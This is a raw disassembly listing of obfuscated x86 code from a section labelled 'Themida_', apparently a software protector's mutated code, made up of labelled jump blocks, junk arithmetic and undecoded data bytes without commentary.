		jmp	loc_5661D3
; ---------------------------------------------------------------------------


loc_566640:				; CODE XREF: Themida_:0056EFAFj
		pop	edi
		push	0
		add	dword ptr [esp], 3A1636Fh
		sub	[esp], esi
		sub	dword ptr [esp], 3A1636Fh
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 8
		push	edx
		mov	edx, 0FF638C01h
		add	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		add	ecx, 0FFFFFFFFh
		jmp	loc_572135
; ---------------------------------------------------------------------------


loc_566674:				; CODE XREF: Themida_:00571A23j
		sub	edx, 55B42BFAh
		add	edx, 0DB0565Ch
		add	edx, edi
		sub	edx, 0DB0565Ch
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		jmp	loc_5705B2
; ---------------------------------------------------------------------------


loc_566694:				; CODE XREF: Themida_:0056254Ej
		pop	eax
		sub	ebx, edx
		pop	edx
		jmp	loc_56A2E9
; ---------------------------------------------------------------------------
		db 30h,	0D7h, 66h
		dd 66D18851h, 2414F651h, 0CA885966h, 50665966h,	0F1E9D488h
		dd 59FFFFF6h, 0E9595451h, 0A15Dh
; ---------------------------------------------------------------------------


loc_5666C0:				; CODE XREF: Themida_:0056152Fj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		add	ebp, 33F72B34h
		sub	ebp, 6E273D97h
		jmp	loc_574548
; ---------------------------------------------------------------------------
aIQshA		db '»ë',9,'ïsh A',0
		align 2
		dw 1C89h
		dd 2414F724h, 5B2434FFh, 0FFB828E9h, 243487FFh,	9C00E95Dh
		dd 0E5890000h, 4BE56h, 97E90000h, 0B9FFFFBFh, 4F6F6BE8h
		dd 4E47BA52h, 0D121570Bh, 847EE9h, 5BDF3100h, 0DC05E9h
		dd 51E95300h, 5E000021h, 455BF681h, 0F7315A62h,	8324348Bh
		dd 0FD8904C4h, 5F2434FFh, 8104C483h, 0D0339EE5h, 27C58173h
		dd 0E957E56Ch, 84C4h, 4C481h, 68520000h, 44AD351Bh, 0B4D3E95Ah
		dd 0BB53FFFFh, 4, 0BE23E9h
		db 0
; ---------------------------------------------------------------------------


loc_566771:				; CODE XREF: Themida_:0056CEBDj
		push	7ED06FCCh
		jmp	loc_564FA1
; ---------------------------------------------------------------------------
		db 55h
		dd 728EB951h, 0E9817D8Fh, 55D6546Ch, 4FFFC981h,	0C1814478h
		dd 0A7EECD87h, 8159CD89h, 967C97C5h, 31E58119h,	8154E556h
		dd 0A4266DC5h, 1AED810Eh, 99CE8C8h, 0C7815DEFh,	1602F421h
		dd 0E95FFA29h, 0E097h, 42474FFh, 24048F5Dh, 95E3E9h, 45E95D00h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667D3:				; CODE XREF: Themida_:0056990Dj
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ecx, 45F31F34h
		add	ecx, eax
		add	ecx, 45F31F34h
		jmp	loc_5706D6
; ---------------------------------------------------------------------------
aA_sv		db '€ì_éV',0Bh,0
		align 2
		dw 0FF53h
		dd 5B042474h, 677DE9h, 4BA5200h, 1000000h, 8B042454h, 0C4832414h
		dd 242C8B04h, 4C481h, 0E2E90000h, 5DFFFFC8h, 8103EDC1h
		dd 0FC7B00EDh, 0E4F58144h, 55E84FD6h, 0B6242C81h, 5960AE4Bh
		dd 4BB6C181h, 16E960AEh
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566843:				; CODE XREF: Themida_:00564104j
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
		pop	edi
		jmp	loc_56517B
; ---------------------------------------------------------------------------
		dw 0FA88h
		dd 148B1088h, 4C48124h,	0FF000000h, 0E95B2434h,	5271h
; ---------------------------------------------------------------------------


loc_566868:				; CODE XREF: Themida_:00568F08j
		pop	ebx
		jmp	loc_56BD2C
; ---------------------------------------------------------------------------
		dw 0DF31h
		dd 0FFF9895Bh, 835F2434h, 0C8904ECh, 81E18924h,	4C1h, 0D82BE900h
		dd 0C1810000h, 643C8F38h, 0E959CD29h, 0C791h, 8253559h
		dd 0A7E94844h, 68000078h, 0
		dd 5E243429h, 0C104E6C1h, 0F68106E6h, 0FBEBAC0Eh, 835EF289h
		dd 48904ECh, 0DE1B824h,	55E91434h, 5AFFFF9Eh, 79A7E9h
		dd 78136800h, 0ED680000h, 89000038h, 4832424h, 48F0424h
		dd 0FF17E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5668EA:				; CODE XREF: Themida_:0056847Fj
		xchg	esi, [esp]
		pop	esp
		not	edi
		sub	esp, 4
		jmp	loc_575824
; ---------------------------------------------------------------------------


loc_5668FB:				; CODE XREF: Themida_:00563A8Aj
		sub	esi, 1E9E0DDCh
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	edx
		mov	edx, 490859F5h
		sub	edx, 637733C2h
		jmp	loc_574035
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0F57DE9h, 0FAE95A00h, 0D1FFFFFCh, 3140E9E1h,	0C1830000h
		dd 240C8704h, 8324248Bh, 34FF04C4h, 904DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566942:				; CODE XREF: Themida_:0056B300j
		mov	ebp, 90D0184h
		shl	ebp, 2
		and	ebp, 0AAA123Eh
		push	eax
		mov	eax, 1
		sub	ebp, eax
		jmp	loc_569F03
; ---------------------------------------------------------------------------
		db 68h,	0ABh, 35h
		dd 0E95B5965h, 0F19Dh
; ---------------------------------------------------------------------------


loc_566968:				; CODE XREF: Themida_:00566422j
		add	ebx, 4E550595h
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_575EE1
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0E9000000h, 3FA6h,	0FAA5E955h, 8166FFFFh
		dd 0E920E8CDh, 34C7h, 3077B1B8h, 55D0F702h, 0F358FBDh
		dd 5DE82166h, 2D08E8C1h, 640EFCh, 242C8150h, 7F1215AEh
		dd 3EE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5669C5:				; CODE XREF: Themida_:0056449Aj
		pop	edi
		sub	edi, 85F7D112h
		jmp	loc_56AE1D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 7DEE9h, 4C48300h, 0FFB5F2E9h, 4C583FFh, 0BF3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5669E9:				; CODE XREF: Themida_:00575833j
		add	eax, ebx
		push	dword ptr [eax]
		xor	dword ptr [esp], 31DB3779h
		pop	ecx
		jmp	loc_565F3F
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 44B53259h, 0EE81DE29h, 44B53259h, 2434875Bh,	5424248Bh
		dd 0FFB417E9h, 4C281FFh, 50000000h, 4B8h, 0E9C20100h, 3CDCh
		dd 0E9241C89h, 0FFFFBCFBh, 68D831ADh, 510Dh, 68240C89h
		dd 42771146h, 81240C8Bh, 4C4h, 68BD5500h, 29213F7Ah, 0BB535DE9h
		dd 52CE2EC8h, 81FFEB83h, 904F19E3h, 8CC38143h, 560D7432h
		dd 0F46ECBBEh, 0E94E4627h, 0C15Eh, 0A552E9ADh, 4050000h
		dd 0E9000000h, 22DEh, 8904EC83h, 9FBE2434h, 317F701Bh
		dd 0ED815EF5h, 48B54EAh, 0E95DE889h, 0FFFFCB7Bh, 240C8B66h
		dd 638168h, 24348900h, 24348B54h, 2F19E9h, 0A9C58100h
		dd 29711854h, 0CF015DEFh, 0FFEE8BE9h, 2BFFFh, 0C3810000h
		dd 72B90AA7h, 0B951FB29h, 72B90AA7h, 8904EC83h,	0BA522434h
		dd 77B05AA4h, 73C62ABEh, 18C681C3h, 0E97FF17Ah,	32C1h
		dd 4BF57h, 0EAE90000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566AFF:				; CODE XREF: Themida_:00561123j
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 0A4h
		or	ch, 0E7h
		and	ch, 95h
		shr	ch, 8
		push	707Dh
		mov	[esp], edx
		jmp	loc_572C59
; ---------------------------------------------------------------------------
a0Hsc		db '0ØháC',0
		dd 240C8900h, 29C568h, 241C8900h, 23F468h, 0DB9FE900h
		dd 34FF0000h, 24148B24h, 0C4DCE9h, 3CBF00h, 0FA890000h
		dd 0E389535Fh, 4C381h, 0EB810000h, 4, 0DED9E9h,	4C18100h
		dd 81000000h, 4C1h, 240C8700h, 0C45DE9h
		db 0
; ---------------------------------------------------------------------------


loc_566B75:				; CODE XREF: Themida_:00572402j
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56C296
; ---------------------------------------------------------------------------


loc_566B82:				; CODE XREF: Themida_:00571D90j
		add	eax, 4
		jmp	loc_56CD55
; ---------------------------------------------------------------------------
		dd 33240C31h, 895C240Ch, 8952243Ch, 2AB951E2h, 817EB36Ch
		dd 0B36C26E9h, 59CA017Eh, 8704EA83h, 895C2414h,	4812424h
		dd 424h, 243C8B00h, 6EF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_566BC1:				; CODE XREF: Themida_:00560B6Aj
		sub	edx, ecx
		pop	ecx
		jmp	loc_56AAC7
; ---------------------------------------------------------------------------


loc_566BC9:				; CODE XREF: Themida_:00575A7Fj
		push	ebx
		push	edi
		pop	ebx
		mov	edi, [esp]
		add	esp, 4
		not	edi
		xchg	edi, ebx
		push	edx
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_5639CD
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFEAh, 0FFFBDCE9h, 2D4040FFh, 2FAE3BA4h,	7F283540h
		dd 7DE93AFBh, 0C100005Ch, 0EA8104E2h, 4FB54B5Bh, 1223B951h
		dd 0CA216A74h, 0FFD080E9h, 0BF575FFFh, 6FD80A96h, 2055EF81h
		dd 0DFF73DAEh, 2337C781h, 0F7816ECBh, 2F4D1C66h, 78BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_566C39:				; CODE XREF: Themida_:00564463j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_573F2C
; ---------------------------------------------------------------------------
		dd 5559CA89h, 0AA197ABDh, 69C5814Eh, 31C8BCF2h,	3F35E9EAh
		dd 0CA810000h, 3E7E6FB9h, 0E2C1C281h, 75E91B11h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566C77:				; CODE XREF: Themida_:00565F49j
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 37923927h
		neg	ebx
		xor	ebx, 553C57F6h
		xor	ebx, 9D51912Bh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_567362
; ---------------------------------------------------------------------------
a_Hy6		db '_^hy6',0
		align 4
		dd 0BF243C89h, 35983A04h, 0EFC1EFD1h, 44F78102h, 5506B307h
		dd 0B30BEABDh, 0E4C4E91Bh, 0EB80FFFFh, 1CE9582Dh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566CCB:				; CODE XREF: Themida_:00565132j
		xor	edx, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_575471
; ---------------------------------------------------------------------------
		dd 243C8B50h, 5804C483h, 620B951h, 0E94122ADh, 792Ah
; ---------------------------------------------------------------------------


loc_566CEC:				; CODE XREF: Themida_:005660A8j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56D9A5
; ---------------------------------------------------------------------------
aSsK		db 'Sé´k',0
		align 4


loc_566D08:				; CODE XREF: Themida_:0056B4D0j
		push	dword ptr [esp]
		jmp	loc_564BA3
; ---------------------------------------------------------------------------
		dd 0CCF6815Dh, 551A6E69h, 2384BE56h, 0F6816CB2h, 934DDC7Bh
		dd 4102E9h, 1731BD00h, 0EB294861h, 0FFACDDE9h, 0AF0F66FFh
		dd 9C5166C8h, 0FF99D4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D41:				; CODE XREF: Themida_:0056D9D4j
		push	2A82h
		jmp	loc_56E6A2
; ---------------------------------------------------------------------------


loc_566D4B:				; CODE XREF: Themida_:0057130Cj
		sub	ecx, esi
		mov	esi, [esp]
		push	edi
		jmp	loc_56C034
; ---------------------------------------------------------------------------
		dw 1C87h
aI4HL		db '$\‰4$h¸L',0
		align 2
		dw 8F54h
		dd 0EE92404h, 83000079h, 0EFC101C7h, 0D3B85008h, 486DDA10h
		dd 460DD8F7h, 0E926806Eh, 0FFFFAFB3h, 8104C483h, 0E52AAAC2h
		dd 81F20153h, 0E52AAAEAh, 24348B53h, 0E904C483h, 0D5FEh
		dd 0B636B753h, 5BFE3035h, 220EE9h, 5FF82100h, 0C3D6E9h
		dd 2C6800h, 9EE90000h, 66000039h, 68240C8Bh, 1C5Fh, 54241489h
		dd 0BB53515Ah, 6ED026E0h, 1C8BD989h, 4C48124h, 0E9000000h
		dd 0FFFFCF33h, 0CEE9D101h, 560000F2h, 42E3F2BEh, 8BF101E4h
		dd 0C4832434h, 59C83104h, 3336857h, 0E95F5441h,	0A68Ah
; ---------------------------------------------------------------------------


loc_566E08:				; CODE XREF: Themida_:00568654j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	bl, 40h
		push	ecx
		mov	ch, 0E0h
		jmp	loc_5719FA
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 105E68h, 24248900h, 4240483h, 5A2434FFh, 0FFBA94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566E31:				; CODE XREF: Themida_:00574831j
		xor	ebp, [esp]
		jmp	loc_562F8A
; ---------------------------------------------------------------------------
		db 58h,	0, 0D0h
		dd 9D9DE9h, 0BF575200h,	590D261Fh, 815FFA89h, 1004246Ch
		dd 0E959FA22h, 98h, 0F38878B6h,	0E189515Ah, 4C181h, 76E90000h
		dd 0BB000025h, 2DA978E9h, 7025EB81h, 0EBC17E7Dh, 0D3F38102h
		dd 1D63CB9h, 5D4DE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566E86:				; CODE XREF: Themida_:00564D0Ej
		add	edx, edi
		jmp	loc_572CF6
; ---------------------------------------------------------------------------
		db 1, 0D9h, 5Bh
		dd 1963E9h, 2424D200h, 9877E99Ch, 9168FFFFh, 89000062h
		dd 8B542404h, 0C4832404h, 68AE6804h, 0EE90000h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566EB7:				; CODE XREF: Themida_:0056941Cj
		mov	ebx, [esp]
		push	32F8h
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 21392263h
		shl	edx, 2
		xor	edx, 78AE484Dh
		push	ecx
		jmp	loc_57420D
; ---------------------------------------------------------------------------


loc_566ED9:				; CODE XREF: Themida_:00568F89j
		xor	ebp, 184E7D4Eh
		mov	ebx, ebp
		jmp	loc_5753F8
; ---------------------------------------------------------------------------
		dw 5D57h
		dd 0E9243C8Bh, 1C48h, 4245429h,	10E95150h
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566EFB:				; CODE XREF: Themida_:00560D9Dj
		pop	ecx
		add	esp, 4
		push	cx
		mov	cl, 27h
		add	bl, cl
		pop	cx
		add	bl, al
		sub	esp, 4
		jmp	loc_574322
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483242Ch, 24048F04h, 9CC8855Ch,	0FF97E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566F2D:				; CODE XREF: Themida_:00563902j
		sub	ebx, 7F28296Fh
		neg	ebx
		not	ebx
		and	ebx, 6FF3335Bh
		jmp	loc_568F00
; ---------------------------------------------------------------------------


loc_566F42:				; CODE XREF: Themida_:0056372Aj
		mov	ecx, 426E44EDh
		push	esi
		push	ebx
		mov	ebx, 139E48D6h
		mov	esi, 292D49B2h
		jmp	loc_56A562
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFE9E0h, 0C449F7BEh, 8BF331D5h, 0C4812434h
		dd 4, 0DF0CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F76:				; CODE XREF: Themida_:0056E182j
		pop	ecx
		push	eax
		mov	eax, 34FB1345h
		xor	ecx, eax
		pop	eax
		push	ecx
		pop	edx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	ecx, edx
		jmp	loc_5704EB
; ---------------------------------------------------------------------------


loc_566F95:				; CODE XREF: Themida_:005745C7j
		push	97Bh
		mov	[esp], edi
		mov	edi, 0E2A5D54h
		sub	esp, 4
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_569961
; ---------------------------------------------------------------------------


loc_566FBC:				; CODE XREF: Themida_:005655F5j
		pop	edx
		jmp	loc_571CEF
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFA096h
; ---------------------------------------------------------------------------


loc_566FC8:				; CODE XREF: Themida_:0056A7A0j
		mov	edx, esi
		pop	esi
		sub	[edi+24h], edx
		pop	edx


loc_566FCF:				; CODE XREF: Themida_:00571A17j
		push	35E9h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5712B1
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 2424D366h, 972BE99Ch, 8966FFFFh, 8851241Ch, 8BCB88D1h
		dd 0E956240Ch, 7E25h, 0F603E6C0h, 4EE80D6h, 0F6D6EE80h
		dd 0FFC680DEh, 885AF300h, 0F2805BDAh, 8BF280C7h, 81E78957h
		dd 4C7h, 90EFE900h, 295A0000h, 0EAB5E9F3h, 0C5810000h
		dd 4E230700h, 0ED81F501h, 4E230700h, 0AB10E9h, 0FE5A5900h
		dd 1EF80CFh, 4EC81h, 0C890000h,	80B6B124h, 0B252A2F1h
		dd 5AD1087Ch, 0C9FED1F6h, 0E9D5B652h, 2429h, 4C4835Bh
		dd 815A5452h, 4C2h, 4C28100h, 0E9000000h, 5FE0h, 1B58632Dh
		dd 250D6854h, 2C890000h, 189EBD24h, 0D5F73292h,	189FC581h
		dd 28893292h, 24048B5Dh, 4C481h, 0D2310000h, 1967E9h, 246C8100h
		dd 0E2BF104h, 34FF5B11h, 243C8B24h, 1A5AE9h, 4C48100h
		dd 81000000h, 4C4h, 5AD03100h, 0FFEE44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5670D5:				; CODE XREF: Themida_:00575F11j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	6566h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56B23E
; ---------------------------------------------------------------------------
		dw 0E9F6h
		dd 0CCB60F66h, 56E78957h, 0C681E689h, 4, 4EE81h, 34870000h
		dd 4895C24h, 3AD6B824h,	0D22D3469h, 134693Ah, 0E7E958C7h
		dd 0C0000027h, 0B45006E5h, 3658E94Dh, 815B0000h, 4C3h
		dd 4EB8300h, 31241C33h,	1C33241Ch, 0C895C24h, 2B46824h
		dd 0BE590DB1h, 0DB102B5h, 2159CE31h, 2434FFF0h,	0FFF3D9E9h
		dd 58C501FFh, 243C8B55h, 0FFBAEFE9h, 96EB8FFh, 6ABF6C00h
		dd 2994A34Ah, 96F5E9C7h, 4050000h, 0E9000000h, 1C40h, 0D50035B2h
		dd 0EF305A66h, 0E9240C8Bh, 2C9Fh, 4C581h, 0ED830000h, 242C8704h
		dd 0DEC3E95Ch, 8B66FFFFh, 78E9240Ch, 59FFFFA0h,	0FFF81CE9h
		dd 4BB53FFh, 50000000h,	489E9h,	2AE18100h, 0E952B655h
		dd 69C4h, 38243481h, 5B719B7Ah,	7A38F381h, 34FF719Bh, 24348B24h
		dd 81E18951h, 4C1h, 0F738E900h,	5457FFFFh, 81243C8Bh, 4C4h
		dd 78BA5200h, 0E91E9961h, 0FFFFC30Ah
; ---------------------------------------------------------------------------


loc_56720C:				; CODE XREF: Themida_:005633B8j
		push	esi
		mov	esi, 4953276Dh
		sub	esi, 1F16BECh
		xor	esi, 389500D7h
		inc	esi
		sub	esi, 6D48773h
		sub	ecx, esi
		pop	esi
		xor	ecx, 6809484Eh
		push	esi
		push	edx
		push	6A22637h
		jmp	loc_56EFB4
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4D421674h, 0E981C129h, 4D421674h, 79E568h, 241C8900h
		dd 66446857h, 0E95F4FF7h, 0FFFFB977h, 83D831ADh, 3C8904ECh
		dd 0E9E78924h, 0C06Dh, 52E9C2FEh, 890000E2h, 0CC68243Ch
		dd 54000055h, 561FE9h
		db 0
; ---------------------------------------------------------------------------


loc_567281:				; CODE XREF: Themida_:00572138j
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7C285696h
		or	ebp, 34E74242h
		push	edi
		mov	edi, 713D0A6Eh
		sub	edi, 3028E66Eh
		jmp	loc_568F86
; ---------------------------------------------------------------------------
		dd 47FAF381h, 0E3C16D91h, 3CF38106h, 815D366Eh,	0AA5DFFF3h
		dd 0E2F38138h, 310A34C5h, 0F7815BDFh, 499CC2DCh, 15FF889h
		dd 0E95758C7h, 0AD7Ah, 0FFFFFF05h, 629C05FFh, 0C6812961h
		dd 305B56A1h, 0BB53C601h, 305B56A1h, 585BDE29h,	5C243487h
		dd 3F68F9F7h, 89000042h, 9C502414h, 0FF9410E9h,	5BDE88FFh
		dd 74F680h, 0C3805AF3h,	4FC7E9D5h, 0E3810000h, 7E59331Dh
		dd 0BE76F381h, 0DD8964FCh, 0EE7BE95Bh, 0FD87FFFFh, 0FD87D7F7h
		dd 0D457E9h, 809DB600h,	0F0201CC6h, 6866345Ah, 745Eh, 0E9241489h
		dd 87E9h, 0F6E4E480h, 0FBEC80D4h, 458E730h, 2CF82841h
		dd 0B1FEE941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567362:				; CODE XREF: Themida_:00566C98j
		pop	esp
		push	ebp
		mov	ebp, 1
		push	ebp
		xor	dword ptr [esp], 337F5913h
		push	dword ptr [esp]
		pop	eax
		push	esi
		push	esp
		pop	esi
		jmp	loc_56F37D
; ---------------------------------------------------------------------------


loc_56737D:				; CODE XREF: Themida_:00561378j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_575194
; ---------------------------------------------------------------------------
		db 5Fh,	51h, 0FFh
		dd 8B042474h, 0C481240Ch, 4, 8B24048Fh,	6AE92424h, 0F6FFFF93h
		dd 0F6D7F6DFh, 0B65266D7h, 66F7001Dh, 5BF8285Ah, 592434FFh
		dd 5304C483h, 355C68h, 240C8900h, 559C68h, 24148900h, 1E9E9h
		dd 0E9D82900h, 4C39h, 0FE95A5Bh, 0FFFFFB2h, 9C51C8AFh
		dd 0FFAC28E9h, 59CE21FFh, 1C681h, 0EE810000h, 9FAEBEC3h
		dd 7D0BC281h, 0F20103A1h, 7D0BBF57h, 0FA2903A1h, 0D6895E5Fh
		dd 0E92434FFh, 0E7CAh, 0B1240C89h, 59CF0050h, 665BF828h
		dd 8B5CE951h, 0D1010000h, 5C4BE981h, 26E974A2h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56743B:				; CODE XREF: Themida_:00571687j
		mov	esi, [esp]
		jmp	loc_56BB23
; ---------------------------------------------------------------------------
		db 29h
		dd 241C8BD9h, 0D104C483h, 0E8BB53E9h, 19AB10Eh,	0A778E9D9h
		dd 0D8B90000h, 29410F4Dh, 0D2F759CAh, 5057C281h, 0D58928C5h
		dd 8124148Bh, 4C4h, 0B0C58100h,	0F75ACD4Bh, 0F58145D5h
		dd 52FC7600h, 0C6DCE9h,	0E9F90100h, 546Ch
; ---------------------------------------------------------------------------


loc_567490:				; CODE XREF: Themida_:0056274Cj
		xor	ebx, 3EC7F1C8h
		add	ebp, ebx
		pop	ebx
		jmp	loc_567E69
; ---------------------------------------------------------------------------
		dw 0C8Bh
aSj		db '$éJ%',0
		align 2
		dw 5852h
		dd 840CE9h, 41E94E00h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5674B3:				; CODE XREF: Themida_:0056A83Fj
		mov	eax, esp
		jmp	loc_570867
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 754967CCh, 0B1C7C281h, 0D789CABAh, 8E7C15Ah,	0FB04F781h
		dd 5DE9754Ah, 5B00003Bh, 1E0CE9h, 75CD8100h, 0E91CA94Dh
		dd 67BCh, 4C48359h, 0D800C02Ch,	0B551C004h, 9438E9F3h
		dd 8B66FFFFh, 54512404h, 81240C8Bh, 4C4h, 31AF6800h, 34890000h
		dd 4BB5324h, 0BE48B123h, 541E6BB3h, 47B2F681h, 0EE814025h
		dd 99C8CAF8h, 0C9A3E9h,	4EC8100h, 89000000h, 42E92414h
		dd 66000022h, 0E970B252h, 9D75h
; ---------------------------------------------------------------------------


loc_567544:				; CODE XREF: Themida_:0056AB62j
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_56DCC4
; ---------------------------------------------------------------------------
		db 55h
		dd 0F532C0BDh, 0BCED813Eh, 13EF532h, 242C8BEAh,	0E904C483h
		dd 0FFFFD29Eh, 0D8006F2Ch, 4EC81h, 0C890000h, 0B0B0E924h
		dd 0EF80FFFFh, 83C780EEh, 0F8002704h, 5B272Ch, 9E1DE9F8h
		dd 6BAFFFFh, 297DF10Bh,	5A082454h, 242C8158h, 351B72EAh
		dd 81240401h, 72EA2404h, 2C81351Bh, 8344A724h, 9153E92Bh
		dd 0E5B2FFFFh, 53DEEA80h, 92E913B7h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5675CF:				; CODE XREF: Themida_:005725F9j
		pop	ebx
		jmp	loc_571E20
; ---------------------------------------------------------------------------
aZSbi		db '‡Ñéb¨',0
		align 4
		dd 5C240487h, 1AB7B951h, 0C1815C8Eh, 0AE622B9Bh, 159CB01h
		dd 67EC68C3h, 3DE90000h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5675FB:				; CODE XREF: Themida_:005616BEj
		xor	[esp], edx
		jmp	loc_5648A3
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95304C4h, 2F63h
; ---------------------------------------------------------------------------


loc_56760C:				; CODE XREF: Themida_:00571935j
		sub	ebx, 40194D74h
		push	35DFh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 43A70DBAh
		not	ebx
		push	edi
		mov	edi, 0BC58F245h
		jmp	loc_5617F0
; ---------------------------------------------------------------------------
		dw 4D2Dh
		dd 29059870h, 704D05D8h, 68510598h, 3907h, 68241C89h, 62D41FFDh
		dd 97EBE95Bh, 0BB53FFFFh, 62344BFCh, 4BCBDDB8h,	0E9D801F8h
		dd 190Ch, 0E95AD529h, 10DAh, 2ABC6857h,	24890000h, 24048324h
		dd 86E95F04h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56767F:				; CODE XREF: Themida_:00563BBFj
		push	eax
		mov	eax, 4
		jmp	loc_565E53
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0D3776ACFh, 0B75CE960h, 0FF50FFFFh, 58042474h, 0FFE3FCE9h
		dd 87C780FFh, 50ADF780h, 0ECC0FAB4h, 3EE48003h,	8A4EC80h
		dd 0F78058E7h, 8BFA28D1h, 0DCE9241Ch, 660000ADh, 6824048Bh
		dd 88Fh, 54243489h, 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h
		dd 0BF575C24h, 4, 75EEEE81h, 0FE01251Fh, 75EEC681h, 3C8B251Fh
		dd 4C48324h, 8904EC83h,	0EC83241Ch, 243C8904h, 7F47BA52h
		dd 0D7895C54h, 3FE8BB5Ah, 0FB310B7Ah, 297AE95Fh, 0E95A0000h
		dd 0A943h, 0C026E950h, 8B660000h, 9468240Ch, 0E9000032h
		dd 92D0h
; ---------------------------------------------------------------------------


loc_56773C:				; CODE XREF: Themida_:0057454Aj
		add	ebp, 6E273D97h
		sub	ebp, 33F72B34h
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56137D
; ---------------------------------------------------------------------------
		db 56h
		dd 0DF0D73BEh, 75BB533Fh, 435C564Ch, 0C107E3C1h, 0C38108E3h
		dd 16C17219h, 0EB81D3F7h, 65BF3E60h, 465BDE01h,	8107EEC1h
		dd 5837ACF6h, 5EF03123h, 0ABB9E9h, 51BD5500h, 0E9213F7Ah
		dd 0FFFFD845h, 0D97EC681h, 0F729EE26h, 0D6B8505Eh, 21040C4Fh
		dd 5E958C7h, 530000DFh,	0C6B5E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5677B2:				; CODE XREF: Themida_:0056850Cj
		jmp	loc_57473C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 8F57E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5677BE:				; CODE XREF: Themida_:005722C1j
		add	edi, 4
		sub	esp, 4
		jmp	loc_56414F
; ---------------------------------------------------------------------------
		db 91h
		dd 0C191D0F7h, 0F18106E1h, 656B3F5Ch, 5A35E951h, 34FF0000h
		dd 0C4815924h, 4, 656968h, 240C8900h, 4A4D68h, 241C8900h
		dd 2368FEB7h, 89000025h, 6BE9241Ch, 81000006h, 4C5h, 4ED8300h
		dd 5C242C87h, 0E9241C89h, 5D2Fh
; ---------------------------------------------------------------------------


loc_567820:				; CODE XREF: Themida_:0057233Dj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_568497
